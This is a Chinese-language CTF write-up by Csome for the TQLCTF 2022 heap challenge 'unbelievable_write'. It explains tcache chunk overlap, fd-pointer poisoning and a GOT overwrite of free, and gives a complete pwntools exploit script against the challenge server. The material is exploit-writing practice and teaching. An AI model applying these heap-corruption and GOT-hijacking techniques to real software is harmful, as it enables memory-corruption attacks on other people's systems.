题目

https://gitee.com/csomebro/ctftask/blob/master/2022-02_TQLCTF/unbelievable_write.zip

解题

Checksec发现没开PIE

IDA检查,主要逻辑就是三个函数c1 c2 c3

发现只要修改target的值就可以得到flag

在c2中可以伪造一个堆的chunk到tcache bin中,实现堆块堆叠,之后可以修改物理地址相邻的下一个堆块的fd指针,实现任意位置写(题目附件给了Dockerflie,使用Ubuntu20.04起的docker)

在gdb调试中会发现target上方就是got表,直接伪造在target上伪造chunk在从c1中能够申请但free时会报错,过不了_int_free中的检验,解决方法就是修改free的got表,让他不要free不就行了hhhh,即在tcache中布置好两个伪造的堆块,一个用于修改free_got,一个用于修改target,由于不需要free了,堆块的地址也不需要16位对齐了。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

context.log_level = 'debug'
# io = process('./pwn')
io = remote('119.23.255.127', 21334)

def c1(size, content):
io.sendlineafter('> ', '1')
io.sendline(str(size))
io.sendline(content)

def c11(size, content):
io.sendlineafter('> ', '1')
io.sendline(str(size))
io.send(content)

def c2(offset):
io.sendlineafter('> ', '2')
io.sendline(str(offset))

def c3():
io.sendlineafter('> ', '3')

# c2(0x0404080)
c1(0x40, 'aaa')
c1(0x50, 'bbb')
# 申请0x40和0x50堆块并直接进入tcache,其中0x50的堆块就是我要劫持的堆块,下文叫做vulnchunk
p = 'a' * 0x10 + p64(0) + p64(0x200)
c1(0x40, p) # 此时申请的0x40堆块就是之前的那个,写入fakechunk的头,fakechunk大小为0x1f0
c2(0x40) # 计算偏移到fakechunk的地址,构造堆块堆叠
c1(0x80, 'aaa') # 先在tcache[0x80]位置放入一个堆块
p = 'a' * 0x20 + p64(0) + p64(0x91) + p64(0x0000404080) # 修改vulnchunk的size为0x91
c1(0x1f0, p)
c1(0x50, 'aaa') # 将vulnchunk申请出来,并立马free掉,此时会放入tcache[0x80]的位置
# 此时tcache[0x80]位置会有两个堆块,[0x80] -> vulnchunk -> normalchunk
p = 'a' * 0x20 + p64(0) + p64(0xa1) + p64(0x404018)
c1(0x1f0, p)
# 修改vuln再次修改size为,0xa1,并篡改fd指针为目标写入地址,此时0x404018是free_got地址
# 此时的tcache[0x80] -> vulnchunk -> free_got chunk

c1(0x90, 'aaa') # 在0x90中先放一个堆块后续会用到
c1(0x80, 'aaa') # 将vulnchunk申请出来,free之后会放入tcache[0x90]位置
# 此时tcache[0x90] -> vulnchunk -> normal chunk
# 此时tcache[0x80] -> free_got chun,即下一个0x80的堆块就是free_got地址的堆块
p = p64(0x00401418) + p64(0x401040) + p64(0x401050)
c1(0x80, p)
# 将free_got内容写为c3函数地址,并复原下面一部分got表
#由于结尾需要一个\n,我就把\n放到了__stack_check_fail的got表中了(反正也不会执行
p = 'a' * 0x20 + p64(0) + p64(0xb1) + p64(0x404080)
c1(0x1f0, p)
# 重复上述修改vulnchunk fd指针操作,将target地址写入
# 此时tcache[0x90] -> vulnchunk -> target
c1(0x90, 'aaa') # 将vulnchunk取出,此时tcache[0x90] -> target
c1(0x90, 'aaa') # 将target取出,并修改其中的值,由于free_got中是c3函数,所以会自动调用使其打印出flag

io.interactive()

本文采用CC-BY-SA-3.0协议,转载请注明出处
作者: Csome